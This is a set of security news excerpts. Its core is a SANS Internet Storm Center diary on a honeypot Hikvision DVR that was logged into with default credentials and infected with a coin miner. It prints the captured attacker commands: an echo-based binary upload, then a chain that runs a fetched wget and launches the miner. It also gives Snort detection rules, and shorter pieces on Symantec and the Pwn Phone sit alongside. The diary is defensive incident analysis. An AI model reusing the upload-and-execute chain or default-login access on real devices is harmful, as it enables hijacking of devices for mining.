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The dialog that appears when users want to manually change the default password on their EPCOM Hikvision S04 DVR.

It took just one day for a low-end, Internet-connected digital video recorder to become infected with malware that surreptitiously mined Bitcoins on behalf of the quick-moving attackers.

The feat, documented in a blog post published Monday by researchers at the security-training outfit Sans Institute, was all the more impressive because the DVR contained no interface for downloading software from the Internet. The lack of a Wget, ftp, or kermit application posed little challenge for the attackers. To work around the limitation, the miscreants used a series of Unix commands that effectively uploaded and executed a Wget package and then used it to retrieve the Bitcoin miner from an Internet-connected server.

Monday's observations from Sans CTO Johannes Ullrich are part of an ongoing series showing the increasing vulnerability of Internet-connected appliances to malware attacks. In this case, he bought an EPCOM Hikvision S04 DVR off eBay, put it into what he believes was its factory new condition, and connected it to a laboratory "honeypot" where it was susceptible to online attackers. In the first day, it was probed by 13 different IP addresses, six of which were able to log into it using the default username and password combination of "root" and "12345."

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Commercial antivirus pioneer Symantec has finally admitted publicly what critics have been saying for years: the growing inability of the scanning software to detect the majority of malware attacks makes it "dead" and "doomed to failure," according to a published report.

Over the past two reported quarters, Symantec has watched revenue fall, and sales are expected to flag again in the most recent period when the company releases financial results later this week, an article published Monday by The Wall Street Journal reported. The declines come as Juniper Networks, FireEye, and other companies have rolled out products and services that take a decidedly different approach to securing computers and networks. Rather than scan for files that are categorized as malicious, these newer techniques aim to detect, minimize, and contain the damage that attackers can do in the event that they penetrate a customer's defenses. Citing Symantec Senior President Brian Dye, the WSJ said:

Mr. Dye, who has spent more than a decade with Symantec, says it was galling to watch other security companies surge ahead. "It's one thing to sit there and get frustrated," he says. "It's another thing to act on it, go get your act together and go play the game you should have been playing in the first place."

Symantec pioneered computer security with its antivirus software in the late 1980s. The technology keeps hackers out by checking against a list of malicious code spotted on computers. Think of it as an immune system for machines.

But hackers increasingly use novel bugs. Mr. Dye estimates antivirus now catches just 45% of cyberattacks.

That puts Symantec in a pickle. Antivirus and other products that run on individual devices still account for more than 40% of the company's revenue. Specialized cybersecurity services for businesses account for less than one-fifth of revenue and generate smaller profit margins. It would be impractical, if not impossible, to sell such services to individual consumers.

To be fair, Symantec began to move beyond malware long ago. Its Norton security suite has long included a password manager and code that detects malicious e-mails and Web links. Heuristic algorithms also attempt to detect malicious files even when they have never been seen before. But increasingly, Symantec is competing against its newer rivals by matching the suite of non-AV services they provide.

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The Criminals Behind It

After posting this diary, a brand new twitter account was used to post two tweets admitting to be behind this particular string of *coin miners:

Screen shot of tweets admitting to attack

The python code posted to pastebin looks like a plausible source of these scans. 


The Infection

We talked before about DVRs being abused as bitcoin (or better Litecoin) mining bots. As part of my "IoT Honeypot Lab", I started adding a DVR to see how long it took to get compromised. The DVR was installed "as purchased" and port 23 was exposed to the internet.

Initially, I saw a number of scans that found the DVR and started brute forcing passwords. These attempts ran pretty much continuously. During the first day of the test, 13 different source IPs scanned our honeypot, 6 managed to log in using the default username and password ("root", "12345").

Only one of the attackers went beyond a simple "fingerprint" of the honeypot.

Part of this attack I didn't quite understand until capturing it fully in my honeypot was how the attacker uploads the bitcoin mining binary. This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client. Instead, the initial transfer has to happen via the telnet console (nope... "kermit" isn't available either). Turns out that the attacker appears to use a wrapper script that uses a series of "echo" commands to upload the initial binary. 

Here is a quick example of one of these echo commands (spaces added to allow for sensible line breaks):

echo -ne '\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00 \x00\x31\x00\x00\x00\x00\x00 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm && echo -e '\x64\x6f\x6e\x65'

The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command.

Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget". Later, this wget is used to retrieve the actual miner:

./rand0-btcminer-arm && chmod u+x btcminer-arm && ./btcminer-arm -B -o stratum+tcp:// -t 4 -q && echo -ne '\x64\x6f\x6e\x65'

Again, a final "done" is sent to confirm execution.

Next, the miner connects to the supplied startum proxy. The protocol exchanges JSON objects handing out workloads to different miners, effectively distributing a particular workload among many miners [1]

Our DVR first subscribes:

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.3.3"]}

and later, the miner sends an authorization request without username / password that appears to be accepted:

request: {"id": 2, "method": "mining.authorize", "params": ["", ""]}
response: {"error": null, "id": 2, "result": true}

Throughout the day, the server periodically pushes parameters to the miner, but I haven't seen the miner return anything yet, which probably underscores the fact that these miners are pretty useless due to their weak CPUs.

The DVR did get infected multiple times, but none of the attackers changed the default password, or removed prior bitcoin miners. 

The Device

In this test, I used an EPCOM Hikvision S04 DVR without any cameras attached [2] . I purchased it off eBay ans as far as I can tell, it came in factory new condition. The device appears to be mostly built for the central/south American market. It's default language is Spanish. On first setup, the user is not asked to change the password. The only input device delivered with the system is a USB mouse and an on-screen keyboard is used. If the user changes the default password, the user is at first only offered a number-only keyboard, but it can easyly be switched to a full keyboard (again only on-screen). The configuration allows the user to change a number of different parameters. For example, it is possible to change the HTTP port used by the device. However, I have not found a reference to the telnet server in the configuration menus. There appears to be no ability to turn it off, or change the port. I also haven't seen a firewall function. The device is IPv6 capable and is more likely to be exposed to the outside world in an IPv6 setup. The device uses EUI-64 derived addresses which are somewhat guessable given that the OUI of "8c:e7:48" appears to be common to these devices (this OUI is interestingly just assigned to "Private").

Hikvision DVR Change Password Dialog
Figure 1: DVR change password dialog (click on image for larger version)

Indicators of Compromise:

Port 3333 TCP appears to be the preferred "miner" port and should be monitored.

I expect the IP addresses involved to be more ephemeral. But refer to the full packet capture for details. Here are a couple of snort signatures that worked for me:

# detect if we do have an exposed DVR in our network
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "DVR Login Prompt"; sid: 1100001; content: "|0a|dvrdvs login: "; flow: from_server, establishe\
# detect "banner" returned by busybox. Removed detailed version information
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "Successful BusyBox Telnet Login"; sid: 1100002; content: "BusyBox v"; content: "built-in shel\
l (ash)"; within: 60; flow: from_server, established;)
# specific "Subscribe" request used by this miner. May need to be a bit more generic. E.g. keep port at "any" ?
alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: "bitcoin miner subscribe request"; sid: 1100003; content: "{\"id\": 1, \"method\": \"mining.\
subscribe\", \"params\"";)

Packet Capture

You can find a full packet capture at https://isc.sans.edu/diaryimages/dvrminer.pcap.

here some of the highlights to look for:

Frame 1-43: First successful login from The attacker logs in and explores the DVR (cat /proc/version and ps). The attacker checks if the "echo" trick works and if wget is available (it is not available). Each commands ends with an "echo" command that indicates the return status. It is likely that this is a particular tool that is used to automate this exchange.

Frame 44-1229 (tcp.stream eq 1): The attacker now "uploads" wget using the "echo" trick, the uses wget to download the miner and starts the miner.

Frame 831-1223 (tcp.stream eq 2): This is the download of the bitcoin miner initiated in the prior connection. The download connects to Looks like runs lighttpd based on the banner returned.

Frame 1217-1246 (tcp.stream eq 3): The bitcoin miner connection.

The "game" repeats later after the honeypot was rebooted and the miner exited as a result.

[1] http://mining.bitcoin.cz/stratum-mining
[2] http://www.syscom.mx/principal/verproductoazul/s04-epcom-powered-by-hikvision-21142.html

Johannes B. Ullrich, Ph.D.
SANS Technology Institute

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
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The Pwn Phone, with its external Wi-Fi adaptor case jacked into its USB port, is prepared to do evil for your network's own good.

Mobile technology has made it possible for people to do an amazing amount with tablets and smartphones within the workplace—including hacking the living daylights out of the corporate network and other people’s devices. Pwnie Express is preparing to release a tool that will do just that. Its Pwn Phone aims to help IT departments and security professionals quickly get a handle on how vulnerable their networks are in an instant. All someone needs to do is walk around the office with a smartphone.

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